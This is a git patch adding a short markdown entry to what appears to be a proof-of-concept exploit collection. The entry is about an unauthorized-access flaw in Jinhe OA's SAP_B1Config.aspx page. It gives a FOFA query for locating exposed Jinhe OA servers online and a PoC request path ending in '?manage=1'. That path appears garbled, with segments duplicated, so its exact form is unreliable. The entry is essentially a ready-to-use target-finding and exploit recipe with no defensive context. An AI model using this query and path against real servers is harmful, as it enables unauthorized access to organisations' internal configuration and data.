From 10456871d964847e196fc97f727300e6fd742605 Mon Sep 17 00:00:00 2001 From: wy876 <139549762+wy876@users.noreply.github.com> Date: Fri, 12 Jan 2024 19:13:57 +0800 Subject: [PATCH] =?UTF-8?q?Create=20=E9=87=91=E5=92=8COA=5FSAP=5FB1Config.?= =?UTF-8?q?aspx=E6=9C=AA=E6=8E=88=E6=9D=83=E8=AE=BF=E9=97=AE=E6=BC=8F?= =?UTF-8?q?=E6=B4=9E.md?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- 金和OA_SAP_B1Config.aspx未授权访问漏洞.md | 13 +++++++++++++ 1 file changed, 13 insertions(+) create mode 100644 金和OA_SAP_B1Config.aspx未授权访问漏洞.md diff --git a/金和OA_SAP_B1Config.aspx未授权访问漏洞.md b/金和OA_SAP_B1Config.aspx未授权访问漏洞.md new file mode 100644 index 0000000..f1cf10f --- /dev/null +++ b/金和OA_SAP_B1Config.aspx未授权访问漏洞.md @@ -0,0 +1,13 @@ +## 金和OA_SAP_B1Config.aspx未授权访问漏洞 + +## fofa +``` +app="金和网络-金和OA" +``` + +## poc +``` +/C6/JHsoft./C6/JHsoft.CostEAI/SAP_B1Config.aspx/?manage=1CostEAI/SAP_B1Config.aspx/?manage=1 +``` + +![image](https://github.com/wy876/POC/assets/139549762/1f939923-f6bc-4a8f-9a00-8b0fc549a2c7)